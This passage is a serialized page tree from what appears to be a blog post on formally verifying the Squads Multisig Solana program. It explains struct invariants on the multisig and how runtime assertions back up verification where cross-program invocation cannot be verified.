is_member",{"type":23,"tag":504,"props":26587,"children":26588},{"style":523},[26589],{"type":28,"value":526},{"type":23,"tag":504,"props":26591,"children":26592},{"style":598},[26593],{"type":28,"value":2086},{"type":23,"tag":504,"props":26595,"children":26596},{"style":511},[26597],{"type":28,"value":12694},{"type":23,"tag":504,"props":26599,"children":26600},{"style":523},[26601],{"type":28,"value":576},{"type":23,"tag":504,"props":26603,"children":26604},{"style":529},[26605],{"type":28,"value":26249},{"type":23,"tag":504,"props":26607,"children":26608},{"style":598},[26609],{"type":28,"value":3472},{"type":23,"tag":504,"props":26611,"children":26612},{"style":1012},[26613],{"type":28,"value":19838},{"type":23,"tag":504,"props":26615,"children":26616},{"style":523},[26617],{"type":28,"value":2064},{"type":23,"tag":504,"props":26619,"children":26620},{"style":598},[26621],{"type":28,"value":12738},{"type":23,"tag":504,"props":26623,"children":26624},{"style":1012},[26625],{"type":28,"value":26626}," Option",{"type":23,"tag":504,"props":26628,"children":26629},{"style":523},[26630],{"type":28,"value":4789},{"type":23,"tag":504,"props":26632,"children":26633},{"style":1012},[26634],{"type":28,"value":15580},{"type":23,"tag":504,"props":26636,"children":26637},{"style":523},[26638],{"type":28,"value":6264},{"type":23,"tag":504,"props":26640,"children":26641},{"class":506,"line":540},[26642,26646,26650,26654,26658,26662,26666,26670,26674,26678],{"type":23,"tag":504,"props":26643,"children":26644},{"style":544},[26645],{"type":28,"value":13734},{"type":23,"tag":504,"props":26647,"children":26648},{"style":511},[26649],{"type":28,"value":12778},{"type":23,"tag":504,"props":26651,"children":26652},{"style":598},[26653],{"type":28,"value":320},{"type":23,"tag":504,"props":26655,"children":26656},{"style":523},[26657],{"type":28,"value":19964},{"type":23,"tag":504,"props":26659,"children":26660},{"style":598},[26661],{"type":28,"value":320},{"type":23,"tag":504,"props":26663,"children":26664},{"style":517},[26665],{"type":28,"value":26546},{"type":23,"tag":504,"props":26667,"children":26668},{"style":523},[26669],{"type":28,"value":526},{"type":23,"tag":504,"props":26671,"children":26672},{"style":598},[26673],{"type":28,"value":2086},{"type":23,"tag":504,"props":26675,"children":26676},{"style":529},[26677],{"type":28,"value":26249},{"type":23,"tag":504,"props":26679,"children":26680},{"style":523},[26681],{"type":28,"value":537},{"type":23,"tag":504,"props":26683,"children":26684},{"class":506,"line":555},[26685,26689,26693,26697,26701,26705,26709,26713,26717],{"type":23,"tag":504,"props":26686,"children":26687},{"style":1012},[26688],{"type":28,"value":13792},{"type":23,"tag":504,"props":26690,"children":26691},{"style":523},[26692],{"type":28,"value":526},{"type":23,"tag":504,"props":26694,"children":26695},{"style":529},[26696],{"type":28,"value":26299},{"type":23,"tag":504,"props":26698,"children":26699},{"style":523},[26700],{"type":28,"value":2064},{"type":23,"tag":504,"props":26702,"children":26703},{"style":598},[26704],{"type":28,"value":13802},{"type":23,"tag":504,"props":26706,"children":26707},{"style":1012},[26708],{"type":28,"value":26290},{"type":23,"tag":504,"props":26710,"children":26711},{"style":523},[26712],{"type":28,"value":526},{"type":23,"tag":504,"props":26714,"children":26715},{"style":529},[26716],{"type":28,"value":26299},{"type":23,"tag":504,"props":26718,"children":26719},{"style":523},[26720],{"type":28,"value":5720},{"type":23,"tag":504,"props":26722,"children":26723},{"class":506,"line":633},[26724,26729,26734,26739],{"type":23,"tag":504,"props":26725,"children":26726},{"style":529},[26727],{"type":28,"value":26728},"        _",{"type":23,"tag":504,"props":26730,"children":26731},{"style":598},[26732],{"type":28,"value":26733}," =>",{"type":23,"tag":504,"props":26735,"children":26736},{"style":1012},[26737],{"type":28,"value":26738}," None",{"type":23,"tag":504,"props":26740,"children":26741},{"style":523},[26742],{"type":28,"value":2484},{"type":23,"tag":504,"props":26744,"children":26745},{"class":506,"line":687},[26746],{"type":23,"tag":504,"props":26747,"children":26748},{"style":523},[26749],{"type":28,"value":875},{"type":23,"tag":504,"props":26751,"children":26752},{"class":506,"line":736},[26753],{"type":23,"tag":504,"props":26754,"children":26755},{"style":523},[26756],{"type":28,"value":884},{"type":23,"tag":24,"props":26758,"children":26759},{},[26760,26762,26767,26769,26774,26776,26781,26783,26788],{"type":28,"value":26761},"So interestingly, a ",{"type":23,"tag":56,"props":26763,"children":26765},{"className":26764},[],[26766],{"type":28,"value":19964},{"type":28,"value":26768}," vec of size 0 ",{"type":23,"tag":1887,"props":26770,"children":26771},{},[26772],{"type":28,"value":26773},"is actually",{"type":28,"value":26775}," a sufficient condition to execute ",{"type":23,"tag":56,"props":26777,"children":26779},{"className":26778},[],[26780],{"type":28,"value":24446},{"type":28,"value":26782},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":1887,"props":26784,"children":26785},{},[26786],{"type":28,"value":26787},"valid",{"type":28,"value":26789}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":26791,"children":26792},{},[26793,26795,26800],{"type":28,"value":26794},"We can represent this ",{"type":23,"tag":1887,"props":26796,"children":26797},{},[26798],{"type":28,"value":26799},"validity",{"type":28,"value":26801}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":494,"props":26803,"children":26805},{"code":26804,"language":1956,"meta":7,"className":1957,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[26806],{"type":23,"tag":56,"props":26807,"children":26808},{"__ignoreMap":7},[26809,26816,26839,26890,26897],{"type":23,"tag":504,"props":26810,"children":26811},{"class":506,"line":507},[26812],{"type":23,"tag":504,"props":26813,"children":26814},{"style":523},[26815],{"type":28,"value":19759},{"type":23,"tag":504,"props":26817,"children":26818},{"class":506,"line":540},[26819,26823,26827,26831,26835],{"type":23,"tag":504,"props":26820,"children":26821},{"style":523},[26822],{"type":28,"value":23709},{"type":23,"tag":504,"props":26824,"children":26825},{"style":598},[26826],{"type":28,"value":320},{"type":23,"tag":504,"props":26828,"children":26829},{"style":523},[26830],{"type":28,"value":20052},{"type":23,"tag":504,"props":26832,"children":26833},{"style":598},[26834],{"type":28,"value":8924},{"type":23,"tag":504,"props":26836,"children":26837},{"style":523},[26838],{"type":28,"value":20061},{"type":23,"tag":504,"props":26840,"children":26841},{"class":506,"line":555},[26842,26846,26850,26854,26858,26862,26866,26870,26874,26878,26882,26886],{"type":23,"tag":504,"props":26843,"children":26844},{"style":598},[26845],{"type":28,"value":14602},{"type":23,"tag":504,"props":26847,"children":26848},{"style":523},[26849],{"type":28,"value":19985},{"type":23,"tag":504,"props":26851,"children":26852},{"style":598},[26853],{"type":28,"value":320},{"type":23,"tag":504,"props":26855,"children":26856},{"style":523},[26857],{"type":28,"value":20052},{"type":23,"tag":504,"props":26859,"children":26860},{"style":511},[26861],{"type":28,"value":7825},{"type":23,"tag":504,"props":26863,"children":26864},{"style":1012},[26865],{"type":28,"value":12712},{"type":23,"tag":504,"props":26867,"children":26868},{"style":598},[26869],{"type":28,"value":7180},{"type":23,"tag":504,"props":26871,"children":26872},{"style":523},[26873],{"type":28,"value":12778},{"type":23,"tag":504,"props":26875,"children":26876},{"style":598},[26877],{"type":28,"value":320},{"type":23,"tag":504,"props":26879,"children":26880},{"style":523},[26881],{"type":28,"value":19964},{"type":23,"tag":504,"props":26883,"children":26884},{"style":598},[26885],{"type":28,"value":320},{"type":23,"tag":504,"props":26887,"children":26888},{"style":523},[26889],{"type":28,"value":20113},{"type":23,"tag":504,"props":26891,"children":26892},{"class":506,"line":633},[26893],{"type":23,"tag":504,"props":26894,"children":26895},{"style":523},[26896],{"type":28,"value":19240},{"type":23,"tag":504,"props":26898,"children":26899},{"class":506,"line":687},[26900,26904,26908,26912,26916,26920],{"type":23,"tag":504,"props":26901,"children":26902},{"style":511},[26903],{"type":28,"value":12671},{"type":23,"tag":504,"props":26905,"children":26906},{"style":511},[26907],{"type":28,"value":20132},{"type":23,"tag":504,"props":26909,"children":26910},{"style":1012},[26911],{"type":28,"value":20137},{"type":23,"tag":504,"props":26913,"children":26914},{"style":523},[26915],{"type":28,"value":747},{"type":23,"tag":504,"props":26917,"children":26918},{"style":598},[26919],{"type":28,"value":8572},{"type":23,"tag":504,"props":26921,"children":26922},{"style":523},[26923],{"type":28,"value":1652},{"type":23,"tag":24,"props":26925,"children":26926},{},[26927,26929,26935,26937,26943],{"type":28,"value":26928},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":56,"props":26930,"children":26932},{"className":26931},[],[26933],{"type":28,"value":26934},"keys.len() == 0",{"type":28,"value":26936}," and allows us to prove the biconditional ",{"type":23,"tag":56,"props":26938,"children":26940},{"className":26939},[],[26941],{"type":28,"value":26942},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":320},{"type":23,"tag":82,"props":26945,"children":26947},{"id":26946},"safety-guarantees",[26948],{"type":28,"value":21766},{"type":23,"tag":24,"props":26950,"children":26951},{},[26952],{"type":28,"value":26953},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":26955,"children":26956},{},[26957],{"type":28,"value":26958},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":26960,"children":26961},{},[26962,26964,26970],{"type":28,"value":26963},"In the multisig program this happens in the ",{"type":23,"tag":56,"props":26965,"children":26967},{"className":26966},[],[26968],{"type":28,"value":26969},"execute_transaction",{"type":28,"value":26971}," instruction.",{"type":23,"tag":24,"props":26973,"children":26974},{},[26975],{"type":23,"tag":1887,"props":26976,"children":26977},{},[26978],{"type":28,"value":26979},"So what do you do?",{"type":23,"tag":24,"props":26981,"children":26982},{},[26983],{"type":28,"value":26984},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":494,"props":26986,"children":26988},{"code":26987,"language":1956,"meta":7,"className":1957,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[26989],{"type":23,"tag":56,"props":26990,"children":26991},{"__ignoreMap":7},[26992,27007,27023,27038,27079,27086,27093,27100,27117,27133,27154,27161,27168,27184,27204,27232,27239,27246,27253,27261,27314,27340,27347,27376,27400,27435,27442,27453],{"type":23,"tag":504,"props":26993,"children":26994},{"class":506,"line":507},[26995,26999,27003],{"type":23,"tag":504,"props":26996,"children":26997},{"style":523},[26998],{"type":28,"value":21819},{"type":23,"tag":504,"props":27000,"children":27001},{"style":1012},[27002],{"type":28,"value":21824},{"type":23,"tag":504,"props":27004,"children":27005},{"style":523},[27006],{"type":28,"value":19240},{"type":23,"tag":504,"props":27008,"children":27009},{"class":506,"line":540},[27010,27014,27019],{"type":23,"tag":504,"props":27011,"children":27012},{"style":511},[27013],{"type":28,"value":12671},{"type":23,"tag":504,"props":27015,"children":27016},{"style":1012},[27017],{"type":28,"value":27018}," MyCtx",{"type":23,"tag":504,"props":27020,"children":27021},{"style":523},[27022],{"type":28,"value":552},{"type":23,"tag":504,"props":27024,"children":27025},{"class":506,"line":555},[27026,27030,27034],{"type":23,"tag":504,"props":27027,"children":27028},{"style":523},[27029],{"type":28,"value":22110},{"type":23,"tag":504,"props":27031,"children":27032},{"style":511},[27033],{"type":28,"value":2701},{"type":23,"tag":504,"props":27035,"children":27036},{"style":523},[27037],{"type":28,"value":19240},{"type":23,"tag":504,"props":27039,"children":27040},{"class":506,"line":633},[27041,27045,27050,27054,27058,27062,27066,27070,27075],{"type":23,"tag":504,"props":27042,"children":27043},{"style":511},[27044],{"type":28,"value":19824},{"type":23,"tag":504,"props":27046,"children":27047},{"style":529},[27048],{"type":28,"value":27049}," my_account",{"type":23,"tag":504,"props":27051,"children":27052},{"style":598},[27053],{"type":28,"value":3472},{"type":23,"tag":504,"props":27055,"children":27056},{"style":1012},[27057],{"type":28,"value":22075},{"type":23,"tag":504,"props":27059,"children":27060},{"style":523},[27061],{"type":28,"value":21904},{"type":23,"tag":504,"props":27063,"children":27064},{"style":1012},[27065],{"type":28,"value":21909},{"type":23,"tag":504,"props":27067,"children":27068},{"style":523},[27069],{"type":28,"value":576},{"type":23,"tag":504,"props":27071,"children":27072},{"style":1012},[27073],{"type":28,"value":27074},"Acc",{"type":23,"tag":504,"props":27076,"children":27077},{"style":523},[27078],{"type":28,"value":4976},{"type":23,"tag":504,"props":27080,"children":27081},{"class":506,"line":687},[27082],{"type":23,"tag":504,"props":27083,"children":27084},{"style":523},[27085],{"type":28,"value":884},{"type":23,"tag":504,"props":27087,"children":27088},{"class":506,"line":736},[27089],{"type":23,"tag":504,"props":27090,"children":27091},{"emptyLinePlaceholder":16},[27092],{"type":28,"value":1038},{"type":23,"tag":504,"props":27094,"children":27095},{"class":506,"line":785},[27096],{"type":23,"tag":504,"props":27097,"children":27098},{"style":523},[27099],{"type":28,"value":19751},{"type":23,"tag":504,"props":27101,"children":27102},{"class":506,"line":813},[27103,27108,27112],{"type":23,"tag":504,"props":27104,"children":27105},{"style":523},[27106],{"type":28,"value":27107},"#[invariant(bad ",{"type":23,"tag":504,"props":27109,"children":27110},{"style":598},[27111],{"type":28,"value":7559},{"type":23,"tag":504,"props":27113,"children":27114},{"style":523},[27115],{"type":28,"value":27116}," false)]\n",{"type":23,"tag":504,"props":27118,"children":27119},{"class":506,"line":851},[27120,27124,27129],{"type":23,"tag":504,"props":27121,"children":27122},{"style":511},[27123],{"type":28,"value":8383},{"type":23,"tag":504,"props":27125,"children":27126},{"style":1012},[27127],{"type":28,"value":27128}," Acc",{"type":23,"tag":504,"props":27130,"children":27131},{"style":523},[27132],{"type":28,"value":552},{"type":23,"tag":504,"props":27134,"children":27135},{"class":506,"line":869},[27136,27140,27145,27149],{"type":23,"tag":504,"props":27137,"children":27138},{"style":511},[27139],{"type":28,"value":19824},{"type":23,"tag":504,"props":27141,"children":27142},{"style":529},[27143],{"type":28,"value":27144}," bad",{"type":23,"tag":504,"props":27146,"children":27147},{"style":598},[27148],{"type":28,"value":3472},{"type":23,"tag":504,"props":27150,"children":27151},{"style":1012},[27152],{"type":28,"value":27153}," bool\n",{"type":23,"tag":504,"props":27155,"children":27156},{"class":506,"line":878},[27157],{"type":23,"tag":504,"props":27158,"children":27159},{"style":523},[27160],{"type":28,"value":884},{"type":23,"tag":504,"props":27162,"children":27163},{"class":506,"line":1221},[27164],{"type":23,"tag":504,"props":27165,"children":27166},{"emptyLinePlaceholder":16},[27167],{"type":28,"value":1038},{"type":23,"tag":504,"props":27169,"children":27170},{"class":506,"line":1276},[27171,27176,27180],{"type":23,"tag":504,"props":27172,"children":27173},{"style":511},[27174],{"type":28,"value":27175},"impl",{"type":23,"tag":504,"props":27177,"children":27178},{"style":1012},[27179],{"type":28,"value":27128},{"type":23,"tag":504,"props":27181,"children":27182},{"style":523},[27183],{"type":28,"value":552},{"type":23,"tag":504,"props":27185,"children":27186},{"class":506,"line":1285},[27187,27191,27195,27200],{"type":23,"tag":504,"props":27188,"children":27189},{"style":511},[27190],{"type":28,"value":19824},{"type":23,"tag":504,"props":27192,"children":27193},{"style":511},[27194],{"type":28,"value":12676},{"type":23,"tag":504,"props":27196,"children":27197},{"style":517},[27198],{"type":28,"value":27199}," put_into_bad_state",{"type":23,"tag":504,"props":27201,"children":27202},{"style":523},[27203],{"type":28,"value":1030},{"type":23,"tag":504,"props":27205,"children":27206},{"class":506,"line":1294},[27207,27211,27215,27220,27224,27228],{"type":23,"tag":504,"props":27208,"children":27209},{"style":511},[27210],{"type":28,"value":26340},{"type":23,"tag":504,"props":27212,"children":27213},{"style":598},[27214],{"type":28,"value":320},{"type":23,"tag":504,"props":27216,"children":27217},{"style":523},[27218],{"type":28,"value":27219},"bad ",{"type":23,"tag":504,"props":27221,"children":27222},{"style":598},[27223],{"type":28,"value":601},{"type":23,"tag":504,"props":27225,"children":27226},{"style":511},[27227],{"type":28,"value":1750},{"type":23,"tag":504,"props":27229,"children":27230},{"style":523},[27231],{"type":28,"value":866},{"type":23,"tag":504,"props":27233,"children":27234},{"class":506,"line":1302},[27235],{"type":23,"tag":504,"props":27236,"children":27237},{"style":523},[27238],{"type":28,"value":875},{"type":23,"tag":504,"props":27240,"children":27241},{"class":506,"line":1311},[27242],{"type":23,"tag":504,"props":27243,"children":27244},{"style":523},[27245],{"type":28,"value":884},{"type":23,"tag":504,"props":27247,"children":27248},{"class":506,"line":1334},[27249],{"type":23,"tag":504,"props":27250,"children":27251},{"emptyLinePlaceholder":16},[27252],{"type":28,"value":1038},{"type":23,"tag":504,"props":27254,"children":27255},{"class":506,"line":1370},[27256],{"type":23,"tag":504,"props":27257,"children":27258},{"style":1106},[27259],{"type":28,"value":27260},"// Instruction handler:\n",{"type":23,"tag":504,"props":27262,"children":27263},{"class":506,"line":1384},[27264,27268,27273,27277,27281,27285,27289,27293,27298,27302,27306,27310],{"type":23,"tag":504,"props":27265,"children":27266},{"style":511},[27267],{"type":28,"value":19248},{"type":23,"tag":504,"props":27269,"children":27270},{"style":517},[27271],{"type":28,"value":27272}," hard_to_verify",{"type":23,"tag":504,"props":27274,"children":27275},{"style":523},[27276],{"type":28,"value":526},{"type":23,"tag":504,"props":27278,"children":27279},{"style":529},[27280],{"type":28,"value":19262},{"type":23,"tag":504,"props":27282,"children":27283},{"style":598},[27284],{"type":28,"value":3472},{"type":23,"tag":504,"props":27286,"children":27287},{"style":1012},[27288],{"type":28,"value":19271},{"type":23,"tag":504,"props":27290,"children":27291},{"style":523},[27292],{"type":28,"value":4789},{"type":23,"tag":504,"props":27294,"children":27295},{"style":1012},[27296],{"type":28,"value":27297},"MyCtx",{"type":23,"tag":504,"props":27299,"children":27300},{"style":523},[27301],{"type":28,"value":19428},{"type":23,"tag":504,"props":27303,"children":27304},{"style":598},[27305],{"type":28,"value":12738},{"type":23,"tag":504,"props":27307,"children":27308},{"style":1012},[27309],{"type":28,"value":12743},{"type":23,"tag":504,"props":27311,"children":27312},{"style":523},[27313],{"type":28,"value":19313},{"type":23,"tag":504,"props":27315,"children":27316},{"class":506,"line":1392},[27317,27322,27326,27330,27335],{"type":23,"tag":504,"props":27318,"children":27319},{"style":517},[27320],{"type":28,"value":27321},"    invoke_signed",{"type":23,"tag":504,"props":27323,"children":27324},{"style":523},[27325],{"type":28,"value":526},{"type":23,"tag":504,"props":27327,"children":27328},{"style":598},[27329],{"type":28,"value":8572},{"type":23,"tag":504,"props":27331,"children":27332},{"style":523},[27333],{"type":28,"value":27334},"); ",{"type":23,"tag":504,"props":27336,"children":27337},{"style":1106},[27338],{"type":28,"value":27339},"// Cross-program invocation\n",{"type":23,"tag":504,"props":27341,"children":27342},{"class":506,"line":1400},[27343],{"type":23,"tag":504,"props":27344,"children":27345},{"emptyLinePlaceholder":16},[27346],{"type":28,"value":1038},{"type":23,"tag":504,"props":27348,"children":27349},{"class":506,"line":1422},[27350,27354,27359,27363,27367,27371],{"type":23,"tag":504,"props":27351,"children":27352},{"style":511},[27353],{"type":28,"value":1977},{"type":23,"tag":504,"props":27355,"children":27356},{"style":529},[27357],{"type":28,"value":27358}," invoke_res",{"type":23,"tag":504,"props":27360,"children":27361},{"style":598},[27362],{"type":28,"value":648},{"type":23,"tag":504,"props":27364,"children":27365},{"style":598},[27366],{"type":28,"value":24279},{"type":23,"tag":504,"props":27368,"children":27369},{"style":523},[27370],{"type":28,"value":16206},{"type":23,"tag":504,"props":27372,"children":27373},{"style":1106},[27374],{"type":28,"value":27375},"// fetch result of invocation\n",{"type":23,"tag":504,"props":27377,"children":27378},{"class":506,"line":1450},[27379,27383,27387,27391,27396],{"type":23,"tag":504,"props":27380,"children":27381},{"style":544},[27382],{"type":28,"value":11261},{"type":23,"tag":504,"props":27384,"children":27385},{"style":529},[27386],{"type":28,"value":27358},{"type":23,"tag":504,"props":27388,"children":27389},{"style":598},[27390],{"type":28,"value":2260},{"type":23,"tag":504,"props":27392,"children":27393},{"style":1440},[27394],{"type":28,"value":27395}," 5",{"type":23,"tag":504,"props":27397,"children":27398},{"style":523},[27399],{"type":28,"value":552},{"type":23,"tag":504,"props":27401,"children":27402},{"class":506,"line":1463},[27403,27407,27411,27416,27420,27425,27430],{"type":23,"tag":504,"props":27404,"children":27405},{"style":529},[27406],{"type":28,"value":25166},{"type":23,"tag":504,"props":27408,"children":27409},{"style":598},[27410],{"type":28,"value":320},{"type":23,"tag":504,"props":27412,"children":27413},{"style":523},[27414],{"type":28,"value":27415},"my_account",{"type":23,"tag":504,"props":27417,"children":27418},{"style":598},[27419],{"type":28,"value":320},{"type":23,"tag":504,"props":27421,"children":27422},{"style":517},[27423],{"type":28,"value":27424},"put_into_bad_state",{"type":23,"tag":504,"props":27426,"children":27427},{"style":523},[27428],{"type":28,"value":27429},"(); ",{"type":23,"tag":504,"props":27431,"children":27432},{"style":1106},[27433],{"type":28,"value":27434},"// corrupt our account\n",{"type":23,"tag":504,"props":27436,"children":27437},{"class":506,"line":1485},[27438],{"type":23,"tag":504,"props":27439,"children":27440},{"style":523},[27441],{"type":28,"value":875},{"type":23,"tag":504,"props":27443,"children":27444},{"class":506,"line":1503},[27445,27449],{"type":23,"tag":504,"props":27446,"children":27447},{"style":1012},[27448],{"type":28,"value":13314},{"type":23,"tag":504,"props":27450,"children":27451},{"style":523},[27452],{"type":28,"value":13319},{"type":23,"tag":504,"props":27454,"children":27455},{"class":506,"line":1516},[27456],{"type":23,"tag":504,"props":27457,"children":27458},{"style":523},[27459],{"type":28,"value":884},{"type":23,"tag":24,"props":27461,"children":27462},{},[27463,27465,27470],{"type":28,"value":27464},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":56,"props":27466,"children":27468},{"className":27467},[],[27469],{"type":28,"value":27415},{"type":28,"value":27471},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":27473,"children":27474},{},[27475],{"type":28,"value":27476},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":27478,"children":27479},{},[27480,27482,27487],{"type":28,"value":27481},"However, we can ",{"type":23,"tag":1887,"props":27483,"children":27484},{},[27485],{"type":28,"value":27486},"augment",{"type":28,"value":27488}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":27490,"children":27491},{},[27492],{"type":28,"value":27493},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":494,"props":27495,"children":27497},{"code":27496,"language":1956,"meta":7,"className":1957,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[27498],{"type":23,"tag":56,"props":27499,"children":27500},{"__ignoreMap":7},[27501,27509,27560,27583,27590,27617,27640,27671,27678,27685,27693,27728,27735,27746],{"type":23,"tag":504,"props":27502,"children":27503},{"class":506,"line":507},[27504],{"type":23,"tag":504,"props":27505,"children":27506},{"style":598},[27507],{"type":28,"value":27508},"...\n",{"type":23,"tag":504,"props":27510,"children":27511},{"class":506,"line":540},[27512,27516,27520,27524,27528,27532,27536,27540,27544,27548,27552,27556],{"type":23,"tag":504,"props":27513,"children":27514},{"style":511},[27515],{"type":28,"value":19248},{"type":23,"tag":504,"props":27517,"children":27518},{"style":517},[27519],{"type":28,"value":27272},{"type":23,"tag":504,"props":27521,"children":27522},{"style":523},[27523],{"type":28,"value":526},{"type":23,"tag":504,"props":27525,"children":27526},{"style":529},[27527],{"type":28,"value":19262},{"type":23,"tag":504,"props":27529,"children":27530},{"style":598},[27531],{"type":28,"value":3472},{"type":23,"tag":504,"props":27533,"children":27534},{"style":1012},[27535],{"type":28,"value":19271},{"type":23,"tag":504,"props":27537,"children":27538},{"style":523},[27539],{"type":28,"value":4789},{"type":23,"tag":504,"props":27541,"children":27542},{"style":1012},[27543],{"type":28,"value":27297},{"type":23,"tag":504,"props":27545,"children":27546},{"style":523},[27547],{"type":28,"value":19428},{"type":23,"tag":504,"props":27549,"children":27550},{"style":598},[27551],{"type":28,"value":12738},{"type":23,"tag":504,"props":27553,"children":27554},{"style":1012},[27555],{"type":28,"value":12743},{"type":23,"tag":504,"props":27557,"children":27558},{"style":523},[27559],{"type":28,"value":19313},{"type":23,"tag":504,"props":27561,"children":27562},{"class":506,"line":555},[27563,27567,27571,27575,27579],{"type":23,"tag":504,"props":27564,"children":27565},{"style":517},[27566],{"type":28,"value":27321},{"type":23,"tag":504,"props":27568,"children":27569},{"style":523},[27570],{"type":28,"value":526},{"type":23,"tag":504,"props":27572,"children":27573},{"style":598},[27574],{"type":28,"value":8572},{"type":23,"tag":504,"props":27576,"children":27577},{"style":523},[27578],{"type":28,"value":27334},{"type":23,"tag":504,"props":27580,"children":27581},{"style":1106},[27582],{"type":28,"value":27339},{"type":23,"tag":504,"props":27584,"children":27585},{"class":506,"line":633},[27586],{"type":23,"tag":504,"props":27587,"children":27588},{"emptyLinePlaceholder":16},[27589],{"type":28,"value":1038},{"type":23,"tag":504,"props":27591,"children":27592},{"class":506,"line":687},[27593,27597,27601,27605,27609,27613],{"type":23,"tag":504,"props":27594,"children":27595},{"style":511},[27596],{"type":28,"value":1977},{"type":23,"tag":504,"props":27598,"children":27599},{"style":529},[27600],{"type":28,"value":27358},{"type":23,"tag":504,"props":27602,"children":27603},{"style":598},[27604],{"type":28,"value":648},{"type":23,"tag":504,"props":27606,"children":27607},{"style":598},[27608],{"type":28,"value":24279},{"type":23,"tag":504,"props":27610,"children":27611},{"style":523},[27612],{"type":28,"value":16206},{"type":23,"tag":504,"props":27614,"children":27615},{"style":1106},[27616],{"type":28,"value":27375},{"type":23,"tag":504,"props":27618,"children":27619},{"class":506,"line":736},[27620,27624,27628,27632,27636],{"type":23,"tag":504,"props":27621,"children":27622},{"style":544},[27623],{"type":28,"value":11261},{"type":23,"tag":504,"props":27625,"children":27626},{"style":529},[27627],{"type":28,"value":27358},{"type":23,"tag":504,"props":27629,"children":27630},{"style":598},[27631],{"type":28,"value":2260},{"type":23,"tag":504,"props":27633,"children":27634},{"style":1440},[27635],{"type":28,"value":27395},{"type":23,"tag":504,"props":27637,"children":27638},{"style":523},[27639],{"type":28,"value":552},{"type":23,"tag":504,"props":27641,"children":27642},{"class":506,"line":785},[27643,27647,27651,27655,27659,27663,27667],{"type":23,"tag":504,"props":27644,"children":27645},{"style":529},[27646],{"type":28,"value":25166},{"type":23,"tag":504,"props":27648,"children":27649},{"style":598},[27650],{"type":28,"value":320},{"type":23,"tag":504,"props":27652,"children":27653},{"style":523},[27654],{"type":28,"value":27415},{"type":23,"tag":504,"props":27656,"children":27657},{"style":598},[27658],{"type":28,"value":320},{"type":23,"tag":504,"props":27660,"children":27661},{"style":517},[27662],{"type":28,"value":27424},{"type":23,"tag":504,"props":27664,"children":27665},{"style":523},[27666],{"type":28,"value":27429},{"type":23,"tag":504,"props":27668,"children":27669},{"style":1106},[27670],{"type":28,"value":27434},{"type":23,"tag":504,"props":27672,"children":27673},{"class":506,"line":813},[27674],{"type":23,"tag":504,"props":27675,"children":27676},{"style":523},[27677],{"type":28,"value":875},{"type":23,"tag":504,"props":27679,"children":27680},{"class":506,"line":851},[27681],{"type":23,"tag":504,"props":27682,"children":27683},{"emptyLinePlaceholder":16},[27684],{"type":28,"value":1038},{"type":23,"tag":504,"props":27686,"children":27687},{"class":506,"line":869},[27688],{"type":23,"tag":504,"props":27689,"children":27690},{"style":1106},[27691],{"type":28,"value":27692},"    // Enforce invariants at runtime\n",{"type":23,"tag":504,"props":27694,"children":27695},{"class":506,"line":878},[27696,27700,27704,27708,27712,27716,27720,27724],{"type":23,"tag":504,"props":27697,"children":27698},{"style":517},[27699],{"type":28,"value":18221},{"type":23,"tag":504,"props":27701,"children":27702},{"style":523},[27703],{"type":28,"value":526},{"type":23,"tag":504,"props":27705,"children":27706},{"style":529},[27707],{"type":28,"value":19262},{"type":23,"tag":504,"props":27709,"children":27710},{"style":598},[27711],{"type":28,"value":320},{"type":23,"tag":504,"props":27713,"children":27714},{"style":523},[27715],{"type":28,"value":27415},{"type":23,"tag":504,"props":27717,"children":27718},{"style":598},[27719],{"type":28,"value":320},{"type":23,"tag":504,"props":27721,"children":27722},{"style":517},[27723],{"type":28,"value":20759},{"type":23,"tag":504,"props":27725,"children":27726},{"style":523},[27727],{"type":28,"value":14405},{"type":23,"tag":504,"props":27729,"children":27730},{"class":506,"line":1221},[27731],{"type":23,"tag":504,"props":27732,"children":27733},{"emptyLinePlaceholder":16},[27734],{"type":28,"value":1038},{"type":23,"tag":504,"props":27736,"children":27737},{"class":506,"line":1276},[27738,27742],{"type":23,"tag":504,"props":27739,"children":27740},{"style":1012},[27741],{"type":28,"value":13314},{"type":23,"tag":504,"props":27743,"children":27744},{"style":523},[27745],{"type":28,"value":13319},{"type":23,"tag":504,"props":27747,"children":27748},{"class":506,"line":1285},[27749],{"type":23,"tag":504,"